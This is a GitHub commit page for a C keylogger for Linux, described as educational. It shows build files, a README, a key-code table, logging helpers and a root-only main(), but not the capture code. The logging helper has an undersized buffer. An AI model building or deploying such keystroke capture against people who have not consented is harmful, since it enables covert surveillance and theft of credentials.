-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #1 from rounnus/dev
Done with everything.
- Loading branch information
Showing
15 changed files
with
678 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -50,3 +50,6 @@ modules.order | |
Module.symvers | ||
Mkfile.old | ||
dkms.conf | ||
|
||
cmake-build-debug | ||
.idea |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
cmake_minimum_required(VERSION 3.20) | ||
project(linux_keylogger C) | ||
|
||
set(CMAKE_C_STANDARD 99) | ||
|
||
add_executable(linux_keylogger main.c tools/include/file/file_handler.h tools/file_handler.c mapper/kb_mapper.c mapper/include/kb_mapper.h worker/kb_worker.c worker/include/kb_worker.h logger/include/logs/logger.h mem/include/mem.h kb_logger/include/kb_decoder.h kb_logger/kb_decoder.c tools/include/constants/constants.h) | ||
|
||
set(GCC_COVERAGE_COMPILE_FLAGS "-pthread") | ||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${GCC_COVERAGE_COMPILE_FLAGS}") | ||
|
||
file(MAKE_DIRECTORY /home/$ENV{USER}/.local/share/keylogger/) | ||
file(MAKE_DIRECTORY /home/$ENV{USER}/.local/share/keylogger/logs) | ||
|
||
include_directories( | ||
tools/include | ||
worker/include | ||
mapper/include | ||
kb_logger/include | ||
data_structures/include | ||
logger/include | ||
mem/include | ||
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,33 @@ | ||
# linux-keylogger | ||
simple keylogger for linux based systems, written in c. | ||
# Introduction | ||
This keylogger is a project that was made for educational purposes and does not send any key to the internet. What it does is take the keys and store them in a local file. I wanted to make such a keylogger for a long time to learn how a program could take keystrokes and use them either for good or for bad. | ||
|
||
# Download & Build | ||
|
||
First download the program from GitHub and go to the linux-keylogger folder. | ||
|
||
``` | ||
% git clone https://github.com/rounnus/linux-keylogger.git | ||
% cd linux-keylogger/ | ||
``` | ||
|
||
After installation the program must be built. In order to build the program, the following instructions must be | ||
followed.<br> | ||
|
||
``` | ||
% mkdir build | ||
% cd build/ | ||
% cmake ../ | ||
% make | ||
``` | ||
|
||
` | ||
The cmake should be from version 3.20 and above, if you do not have this version please go to the following site and download the latest version: | ||
https://cmake.org/download/ | ||
` | ||
|
||
After this the program will be installed and ready to run. | ||
|
||
# Features | ||
- [x] Auto detect keyboard. | ||
- [x] Work with multiple keyboards. | ||
- [x] Detect any new keyboard on air. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
/* decode.h */ | ||
#ifndef LINUX_KEYLOGGER_KB_DECODER_H | ||
#define LINUX_KEYLOGGER_KB_DECODER_H | ||
|
||
struct kb_dec_key { | ||
char *kb_key_name; | ||
int kb_key_code; | ||
}; | ||
|
||
extern struct kb_dec_key *decode(int key_code); | ||
|
||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
#include <kb_decoder.h> | ||
#include <linux/input-event-codes.h> | ||
#include <stddef.h> | ||
|
||
#define KEY_NUMBERS 52 | ||
|
||
#define KEY_ALT 56 | ||
#define KEY_SUPER 125 | ||
|
||
static struct kb_dec_key kb_dec_keys[KEY_NUMBERS] = { | ||
{.kb_key_code = KEY_1, .kb_key_name = "1" }, | ||
{.kb_key_code = KEY_2, .kb_key_name = "2" }, | ||
{.kb_key_code = KEY_3, .kb_key_name = "3" }, | ||
{.kb_key_code = KEY_4, .kb_key_name = "4" }, | ||
{.kb_key_code = KEY_5, .kb_key_name = "5" }, | ||
{.kb_key_code = KEY_6, .kb_key_name = "6" }, | ||
{.kb_key_code = KEY_7, .kb_key_name = "7" }, | ||
{.kb_key_code = KEY_8, .kb_key_name = "8" }, | ||
{.kb_key_code = KEY_9, .kb_key_name = "9" }, | ||
{.kb_key_code = KEY_0, .kb_key_name = "0" }, | ||
{.kb_key_code = KEY_ESC, .kb_key_name = "ESC" }, | ||
{.kb_key_code = KEY_MINUS, .kb_key_name = "-" }, | ||
{.kb_key_code = KEY_EQUAL, .kb_key_name = "=" }, | ||
{.kb_key_code = KEY_BACKSPACE, .kb_key_name = "{BACKSPACE}"}, | ||
{.kb_key_code = KEY_TAB, .kb_key_name = "{TAB}" }, | ||
{.kb_key_code = KEY_A, .kb_key_name = "A" }, | ||
{.kb_key_code = KEY_B, .kb_key_name = "B" }, | ||
{.kb_key_code = KEY_C, .kb_key_name = "C" }, | ||
{.kb_key_code = KEY_D, .kb_key_name = "D" }, | ||
{.kb_key_code = KEY_E, .kb_key_name = "E" }, | ||
{.kb_key_code = KEY_F, .kb_key_name = "F" }, | ||
{.kb_key_code = KEY_G, .kb_key_name = "G" }, | ||
{.kb_key_code = KEY_H, .kb_key_name = "H" }, | ||
{.kb_key_code = KEY_I, .kb_key_name = "I" }, | ||
{.kb_key_code = KEY_J, .kb_key_name = "J" }, | ||
{.kb_key_code = KEY_K, .kb_key_name = "K" }, | ||
{.kb_key_code = KEY_L, .kb_key_name = "L" }, | ||
{.kb_key_code = KEY_M, .kb_key_name = "M" }, | ||
{.kb_key_code = KEY_N, .kb_key_name = "N" }, | ||
{.kb_key_code = KEY_O, .kb_key_name = "O" }, | ||
{.kb_key_code = KEY_P, .kb_key_name = "P" }, | ||
{.kb_key_code = KEY_Q, .kb_key_name = "Q" }, | ||
{.kb_key_code = KEY_R, .kb_key_name = "R" }, | ||
{.kb_key_code = KEY_S, .kb_key_name = "S" }, | ||
{.kb_key_code = KEY_T, .kb_key_name = "T" }, | ||
{.kb_key_code = KEY_U, .kb_key_name = "U" }, | ||
{.kb_key_code = KEY_V, .kb_key_name = "V" }, | ||
{.kb_key_code = KEY_W, .kb_key_name = "W" }, | ||
{.kb_key_code = KEY_X, .kb_key_name = "X" }, | ||
{.kb_key_code = KEY_Y, .kb_key_name = "Y" }, | ||
{.kb_key_code = KEY_Z, .kb_key_name = "Z" }, | ||
{.kb_key_code = KEY_ENTER, .kb_key_name = "{ENTER}" }, | ||
{.kb_key_code = KEY_LEFTCTRL, .kb_key_name = "{CTRL}" }, | ||
{.kb_key_code = KEY_LEFTSHIFT, .kb_key_name = "{SHIFT}" }, | ||
{.kb_key_code = KEY_COMMA, .kb_key_name = "," }, | ||
{.kb_key_code = KEY_DOT, .kb_key_name = "." }, | ||
{.kb_key_code = KEY_RIGHTSHIFT, .kb_key_name = "{SHIFT}" }, | ||
{.kb_key_code = KEY_SPACE, .kb_key_name = "{SPACE}" }, | ||
{.kb_key_code = KEY_CAPSLOCK, .kb_key_name = "{CAPTSLOCK}"}, | ||
{.kb_key_code = KEY_ALT, .kb_key_name = "{ALT}" }, | ||
{.kb_key_code = KEY_SUPER, .kb_key_name = "{SUPER}" } | ||
}; | ||
|
||
|
||
struct kb_dec_key *decode(int key_code) { | ||
for (int key = 0; key < KEY_NUMBERS; key++) if (kb_dec_keys[key].kb_key_code == key_code) return &kb_dec_keys[key]; | ||
return NULL; | ||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
/* logger.h */ | ||
#ifndef LINUX_KEYLOGGER_LOGGER_H | ||
#define LINUX_KEYLOGGER_LOGGER_H | ||
|
||
|
||
#include <stdio.h> | ||
#include <string.h> | ||
|
||
static void inline make_terminal_log(const char *message, int kb_id) { | ||
char *kb_msg = "Keyboard-"; | ||
char output[strlen(message) + strlen(kb_msg) + 5]; | ||
sprintf(output, "%s%d: %s", kb_msg, kb_id, message); | ||
|
||
printf("%s\n",output); | ||
} | ||
|
||
static void inline make_keystroke_log(const char *keystroke, int kb_id) { | ||
char *basic_msg = "Pressed key has been captured:"; | ||
char message[strlen(basic_msg) + strlen(keystroke)]; | ||
sprintf(message, "%s %s", basic_msg, keystroke); | ||
make_terminal_log(message, kb_id); | ||
} | ||
|
||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
#include <kb_mapper.h> | ||
#include <unistd.h> | ||
#include <logs/logger.h> | ||
|
||
#define NO_ROOT "Failed to start, run as root" | ||
|
||
int main() { | ||
if (geteuid() != 0) { | ||
make_terminal_log(NO_ROOT, 0); | ||
return 0; | ||
} | ||
|
||
map_keyboards(); | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
/* kb_mapper.h */ | ||
#ifndef LINUX_KEYLOGGER_KB_MAPPER_H | ||
#define LINUX_KEYLOGGER_KB_MAPPER_H | ||
|
||
#include <stdint.h> | ||
#include <pthread.h> | ||
|
||
extern void map_keyboards(); | ||
|
||
#endif |
Oops, something went wrong.